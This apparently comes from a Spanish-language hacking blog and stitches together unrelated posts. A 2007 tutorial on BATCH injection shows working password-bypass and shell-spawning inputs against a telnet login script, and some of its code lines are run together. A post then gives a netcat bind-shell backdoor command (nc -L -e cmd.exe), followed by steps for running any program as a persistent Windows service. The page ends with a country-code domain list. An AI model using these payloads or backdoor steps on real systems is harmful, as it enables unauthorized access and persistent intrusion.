que el uso de archivos BATCH en tareas de administración telnet, es muy
común. Podemos ver el contenido a continuación:
>> type C:\WINNT\system32\login.cmd
@echo off
rem
rem Secuencia de comandos global predeterminada del inicio de sesión
rem para servidor Telnet
rem
rem En la instalación predeterminada, esta secuencia de comandos es
rem ejecutada cuando se ejecuta el comando inicial shell. A cambio,
rem intentará invocar la secuencia de comandos del inicio de sesión
rem del usuario individual.
rem

echo *===============================================================
echo Bienvenido al servidor Telnet de Microsoft.
echo *===============================================================

cd %HOMEDRIVE%%HOMEPATH% /d


Como podémos ver, no es necesário vulnerar nada, dado que se nos da acceso
inmediatamente a una shell, sinembargo, que tal que alguien, en un vago
intento de "asegurar" este código (alguien que no sabe configurar el
servidor telnet), tratará de reescribir este código a algo similar a:
>> copy con: login.cmd
@echo off
echo Bienvenido al sistema de administración via telnet.
set /P pass=Por favor ingresa tu contraseña:
if "%pass%"=="secreto" (
echo PASSWORD CORRECTO
) else (
echo PASSWORD INCORRECTO
call %~nx0
)
^Z
1 archivos copiados.

Se espera que el lector ya entienda la programación en BATCH.
en este caso, al ejecutar el comando, nos dará:
>> login.cmd
Bienvenido al sistema de administración via telnet.
Por favor ingresa tu contraseña: incorrecto
PASSWORD INCORRECTO
Bienvenido al sistema de administración via telnet.
Por favor ingresa tu contraseña: secreto
PASSWORD CORRECTO

Mientras no escriba el password correcto, el codigo se volverá a llamar
a si mismo, de esta forma se asegura de que hasta que el usuario envie
el password correcto, no pasará de esa pantalla.
Ahora, debemos entender como funciona el parser de BATCH en Windows.
cuando nosotros escribimos en un código BATCH, algo como..
>> echo %LANG%
es

El parser de batch, detecta la variable LANG, y la reemplaza por su
valor, es decir.. si hacemos algo como..
>> set cmd=ver

>> %cmd%

Microsoft Windows 2000 [Versión 5.00.2195]

Lo que hace es reemplazar %cmd% por "ver", y ejecutar "ver". Ahora que
sabemos eso, nos debemos dar cuenta de que, por ejemplo, si tenemos un
programa asi:
>> copy con: prueba.bat
@echo off
set /P nombre=¿Como te llamas?
echo Tu te llamas %nombre%
^Z
1 archivos copiados.

Nosotros podémos hacer que se guarde el resultado en un archivo, de la
siguiente forma:
>> prueba
¿Como te llamas? sirdarckcat > salida.txt

Como vimos, la salida del comando, no se mostro, lo que si hubiera pasado
si solo hubieramos puesto el nombre.. mira:
>> prueba
¿Como te llamas? sirdarckcat
Tu te llamas sirdarckcat

Y podemos comprobar que el archivo se escribió
>> type salida.txt
Tu te llamas sirdarckcat

En fin, no solo podemos redirigir la salida de comandos, tambien podemos
ejecutar nuestros propios comandos, con el símbolo &
>> prueba
¿Como te llamas? sirdarckcat & ver
Tu te llamas sirdarckcat

Microsoft Windows 2000 [Versión 5.00.2195]

Interesante no? para ahora, ya te debes haber dado cuenta que nuestro
script login.cmd es vulnerable a algo.. y si, tienes razón.
>> login
Bienvenido al sistema de administración via telnet.
Por favor ingresa tu contraseña: "=="" ( REM
PASSWORD CORRECTO

Te preguntarás que paso aquí.. porque me dijo PASSWORD CORRECTO? si yo
no sabía el password.. para eso, solo debemos de editar nuestro @echo off
>> copy con: login.cmd
@echo on
¿Sobrescribir login.cmd? (Sí/No/Todo): t
echo Bienvenido al sistema de administración via telnet.
set /P pass=Por favor ingresa tu contraseña:
if "%pass%"=="secreto" (
echo PASSWORD CORRECTO
) else (
echo PASSWORD INCORRECTO
call %~nx0
)
^Z
1 archivos copiados.

veamos:
>> login

>> echo Bienvenido al sistema de administración via telnet.
Bienvenido al sistema de administración via telnet.

>> set /P pass=Por favor ingresa tu contraseña:
Por favor ingresa tu contraseña:"=="" ( REM

>> if "" == "" (
REM "=="secreto" (
echo PASSWORD CORRECTO
) else (
echo PASSWORD INCORRECTO
call login.cmd
)
PASSWORD CORRECTO

Lo que hace REM, es comentar una linea, es decir, ignora todo lo que
esté despues de este, es el equivalente a "--" en MSSQL y a "/*" en mysql







BATCH Command Execution







Al igual que BATCH Injection, supongamos que queremos que un programa
al cual aparentemente no podemos hacer nada, aun con el password correcto
ejecute un comando, como por ejemplo.. nos de una shell.. esto se puede
hacer con "&" (y despues veremos como con "|")
>> prueba
¿Como te llamas? eduardo&cmd
Tu te llamas eduardo
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

>> exit

Como vimos, simplemente con &cmd, podemos ejecutar comandos, ahora ya
pensarás que solo hay que filtrarlo.. pues, filtremoslo.
>> copy con: prueba_seguro.bat
@echo off
set /P nombre=¿Como te llamas?
set nombre=%nombre:&=_%
set nombre=%nombre:>=_%
set nombre=%nombre:<=_% set nombre=%nombre:|=_% set nombre=%nombre:"=_% echo Tu nombre es %nombre% ^Z 1 archivos copiados. >> prueba_seguro
¿Como te llamas? eduardo&cmd
Tu nombre es eduardo_cmd

>> prueba_seguro
¿Como te llamas? eduardo|start /B cmd /K REM

>>
>> Tu nombre es eduardo_start /B cmd /K REM

>> >> >>
Hey! que paso ahi? bueno, como ya te dije antes, cmd cambia las variables
por su contenido, es decir.. cuando hacemos, set nombre=%nombre:&=_%
el | es ejecutado.. por lo que CMD lee..
>> set nombre=eduardo|start /B cmd /K REM

>>
Lo que hace que salga 1 linea extra, aunque nada ahí es ejecutado.
ahora, tenemos todavia la posibilidad de ejecutar cosas con |
pero, que? cualquier comando, veremos su salida, pero yo quiero una shell
y para eso, haremos lo siguiente..
>> prueba_seguro
¿Como te llamas? &cmd ^
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

>> exit
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

>> exit
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

>> exit
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

>> exit

Esto: "&cmd ^" abrió 4 cmd.. porque? porque el caracter "^" quita lo que
esté despues de el, en este caso, un salto de línea.. por lo que al final
cmd interpreta..

set nombre=_cmd set nombre= & cmd set nombre= & cmd set nombre= & cmd
echo Tu nombre es & cmd

Ahora porque no se filtra el caracter ^ tambien?
La respuesta es porque ese debería ser el caracter a filtrar primero
ya que de lo contrario, arrastra a todos los demas filtros, pero si ese
es el primero en filtrarse, entonces podríamos usar & para abrir una
shell.

Una manera de solucionar eso, es colocando un espacio en cada linea.

>> copy con: prueba_mas.bat
@echo off
set /P nombre=¨Como te llamas?
set nombre=%nombre:&=_%
set nombre=%nombre:>=_%
set nombre=%nombre:<=_% set nombre=%nombre:|=_% echo Tu nombre es %nombre% ^Z 1 archivos copiados. De esta forma.. el ^ solo cancelará un espacio, en ves de un salto de linea y aun asi, despues de tanto, aun podemos hacer una shell.. ya que SET al ser canalizado, no guarda el valor, es decir.. si decimos: >> set dia=1|echo.
dia no valdra nada:
>> echo %dia%
%dia%
Asi que.. para poder detener el uso de &, ese debe ser el caracter filtrado
primero, pero el caracter | puede anular los filtros, asi que ese tambien
debe ser anulado primero, asi que un filtro en batch es irreal.. lo que
se debe hacer, es no usar variables (manipulables por el usuario) en forma
%var%, ya que siempre es posible ejecutar comandos asi, la forma correcta
es la siguiente:
>> copy con: seguro.bat
@echo off
set /P nombre=Escribe tu nombre:
set | find "nombre="
^Z
1 archivos copiados.

>> seguro
Escribe tu nombre: cmd|cmd&cmd^
nombre=cmd|cmd&cmd^

Para concluir solo quiero decirles, que BATCH solo debe ser usado para
automatizar tareas, nunca para una interacción remota, a menos que en
el código NUNCA se usen variables expandibles.. Hasta hoy, no he encontrado
un filtro realmente seguro, usando FOR's, FIND, canalizaciones, etc. siempre
hay alguna forma de ejecutar algun comando, por lo que no se debe usar BATCH
en un entorno inseguro.

Copyright (c) 2007 sirdarckcat@gmail.com
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.2
or any later version published by the Free Software Foundation;
with no Invariant Sections, no Front-Cover Texts, and no Back-Cover
Texts. A copy of the license is available at:
http://www.gnu.org/licenses/fdl.html

bajate el linux back track
este version par alos que les gusta la segurida de internet y audiar su redoo servidores con muy buenas herrmaientas espero q les guste:

http://64.233.179.104/translate_c?hl=es&sl=en&u=http://www.remote-exploit.org/backtrack_download.html&prev=/search%3Fq%3Dlinux%2BBACKTRACK%26hl%3Des%26client%3Dfirefox-a%26rls%3Dorg.mozilla:es-ES:official%26hs%3DscL%26sa%3DX&usg=ALkJrhgKOXO9odOCqAqpCKSJbgk5Aq1Lsg


para bajar la revista de hackxcrack
http://cid-8f4e30c6f4932348.skydrive.live.com/browse.aspx/Documentos



nota esto es de :http://www.fabio.com.ar/verpost.php?id_noticia=2806

Como crear un backdoor en windows


En cuatro simples pasos se puede crear un lindo colador sin necesidad de mucho esfuerzo simplemente usando Netcat.

1.- descargar la versión para windows de Netcat
2.- Descomprimirla el nc.exe en %SYSTEMROOT%\system32
3.- Ejecutar nc -d -L -e cmd.exe -p 10001 o cualquier número que sea el puerto que deseen usar para entrar luego
4.- Desde cualquier máquina remota entrar con telnet a ese puerto y tienen total acceso a esa máqina.

Obviamente al cerrar la aplicación se corta la comunicación salvo que lo instalen como servicio

Este fabulósico recurso es cortesía de Hackosis, ya saben, cuando algo ande mal, es probable que esten en tu sistema operativo sin que lo sepas

How To Roll Your Own Service
HACKER ALERT: This has not been tested with Vista. This method is known to work with 2000/XP/2003 Server.

The following will allow you to turn almost any .exe file into a service. Beware that some .exe files will need command line parameters passed to run with functionality.

Log in with administrative privileges. Also, verify that both INSTSRV.EXE and SRVANY.EXE are stored in a directory within the search path.

HACKER ALERT: Be careful were you put the SRVANY.EXE because it has to stay there for the service to run.

1. Open up an MS-DOS command prompt and navigate to where you saved the files (Download at the bottom).
2. Type the following command: INSTSRV [service name] SRVANY.EXE
where [service name] is the name of the service you are setting up. The service name can be whatever you want, but should be descriptive.
3. Remove service example:
INSTSRV [service name] REMOVE were [service name] is the service name.
4. Open up the Registry Editor (Click on the Start Button, select Run, and type REGEDIT)
bullet Locate the following key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\[service name]

  • From the Edit menu, select New, select Key, and name the new key Parameters
  • Highlight the Parameters key
  • From the Edit menu, select New, select String Value, and name the new value Application
  • From the Edit menu, select Modify, and type in the full path name and application name, including the drive letter and file extension
  • Example: D:\Program Files\Network Monitor\netmon.exe

5. Close the Registry Editor.

6. You may now start the service from services.msc.

Service Installer Files


curso hacking

http://foro.portalhacker.net/index.php/topic,72957.0.html

-----------------------------------------------------------------------------------------------
Lista de dominios de Internet y sus paises espero que les sirva si tien alguna duda de un dominio y si me falto alguno haganmelo saber ùes asi me ayudaran y ayudaran a los que estamos intereados o tenmos dudas de algo gracias.


AC Isla Ascensión
AD Andorra
AE Emiratos Árabes Unidos
AF Afganistán
AG Antigua y Barbuda
AI Anguilla
AL Albania
AM Armenia
AN Antillas Holandesas
AO Angola
AQ Antártida (definido como latitud 60°S)
AR Argentina
AS Samoa Americana
AT Austria
AU Australia (incluye Ashmore e Islas Cartier e Islas del mar de Coral)
AW Aruba
AZ Azerbaijan
BA Bosnia y Herzegovina
BB Barbados
BD Bangladesh
BE Bélgica
BF Burkina Faso
BG Bulgaria
BH Bahrein
BI Burundi
BJ Benin
BM Bermuda
BN Brunei Darussalam
BO Bolivia
BR Brasil
BS Bahamas
BT Bhutan
BV Isla Bouvet
BW Botswana
BY Bielorrusia
BZ Belice
CA Canadá
CC Islas Cocos
CD República Democrática del Congo (antiguamente Zaire)
CF República Centro Africana
CG República del Congo
CH Suiza (Confederación Helvetica)
CI Costa de Marfil
CK Islas Cook
CL Chile
CM Camerún
CN China continental
CO Colombia
CR Costa Rica
CU Cuba
CV Cabo Verde
CX Isla Navidad
CY Chipre
CZ Chequia (República Checa)
DE Alemania
DJ Djibouti
DK Dinamarca
DM Dominica
DO República Dominicana
DZ Argelia
EC Ecuador
EE Estonia
EG Egipto
ER Eritrea
ES España
ET Etiopia
FI Finlandia
FJ Fidji
FK Islas Malvinas
FM Estados Federados de Micronesia
FO Islas Faroe
FR Francia
GA Gabón
GB Reino Unido (poco usado; el ccTLD primario es UK)
GD Granada
GE Georgia
GF Guayana Francesa
GG Guernsey
GH Ghana
GI Gibraltar
GL Groenlandia
GM Gambia
GN Guinea
GQ Guinea Ecuatorial
GP Guadalupe
GR Grecia
GS Georgia del Sur y las Islas Sandwich del Sur
GT Guatemala
GU Guam
GW Guinea-Bissau
GY Guyana
HK Hong Kong
HM Isla Heard e Islas McDonald
HN Honduras
HR Croacia (Hrvatska)
HT Haití
HU Hungría
ID Indonesia
IE Irlanda
IL Israel
IM Isla de Man
IN India
IO Territorio Oceánico de la India Británica
IQ Irak
IR Irán
IS Islandia
IT Italia
JE Jersey
JM Jamaica
JO Jordan
JP Japón
KE Kenya
KG Kyrgyzstan
KH Camboya
KI Kiribati
KM Comoros
KN Saint Kitts y Nevis
KR Corea del Sur
KW Kuwait
KY Islas Cayman
KZ Kazakhstan
LA Laos
LB Líbano
LC Santa Lucia
LI Liechtenstein
LK Sri Lanka
LR Liberia
LS Lesotho
LT Lituania
LU Luxemburgo
LV Letonia
LY Libia
MA Marruecos
MC Mónaco
MD Moldova
MG Madagascar
MH Islas Marshall
MK Antigua República Yugoslava de Macedonia
ML Mali
MM Myanmar (Birmania o Burma)
MN Mongolia
MO Macau
MP Islas Marianas Norte
MQ Martinica
MR Mauritania
MS Montserrat
MT Malta
MU Mauricio
MV Maldivas
MW Malawi
MX México
MY Malasia
MZ Mozambique
NA Namibia
NC Nueva Caledonia
NE Niger
NF Isla Norfolk
NG Nigeria
NI Nicaragua
NL Países Bajos
NO Noruega
NP Nepal
NR Nauru
NU Niue
NZ Nueva Zelanda
OM Omán
PA Panamá
PE Perú
PF Polinesia Francesa (con Isla Clipperton)
PG Papúa Nueva Guinea
PH Filipinas
PK Pakistán
PL Polonia
PM Saint Pierre y Miquelon
PN Islas Pitcairn
PR Puerto Rico
PS Territorios palestinos ocupados (ejemplo: Banco Oeste y Franja de Gaza)
PT Portugal
PW Palau
PY Paraguay
QA Qatar
RE Reunión
RO Rumanía
RU Rusia
RW Rwanda
SA Arabia Saudita
SB Islas Solomon
SC Seychelles
SD Sudán
SE Sweden
SG Singapur
SH Santa Helena
SI Slovenia
SJ Svalbard y Jan Mayen Islas
SK Eslovaquia
SL Sierra Leona
SM San Marino
SN Senegal
SO Somalia
SR Suriname
ST Sao Tome y Príncipe
SU antigua Unión Soviética (todavía en uso)
SV El Salvador
SY Siria
SZ Swazilandia
TC Turks e Islas Caicos
TD Chad
TF Surern Francés e Islas Antárticas
TG Togo
TH Thailandia
TJ Tajikistan
TK Tokelau
TM Turkmenistan
TN Túnez
TO Tonga
TP Timor Oriental (ISO code has changed to TL)
TR Turquía
TT Trinidad y Tobago
TV Tuvalu (vendido a empresas de televisión)
TW Taiwan (República de China)
TZ Tanzania
UA Ukrania
UG Uganda
UK Reino Unido
UM Islas Menores de Estados Unidos
US Estados Unidos de América
UY Uruguay
UZ Uzbekistan
VA Ciudad Estado del Vaticano
VC San Vincente y las Granadinas
VE Venezuela
VG Islas Vírgenes Británicas
VI Islas Vírgenes de los Estados Unidos de América
VN Vietnam
VU Vanuatu
WF Wallis y Futuna
WS Samoa (anteriormente Samoa Occidental)
YE Yemen
YT Mayotte
YU Yugoslavia (ahora Serbia y Montenegro)
ZA Sudáfrica
ZM Zambia
ZW Zimbabwe


-----------------------------------------------------------------------------------------------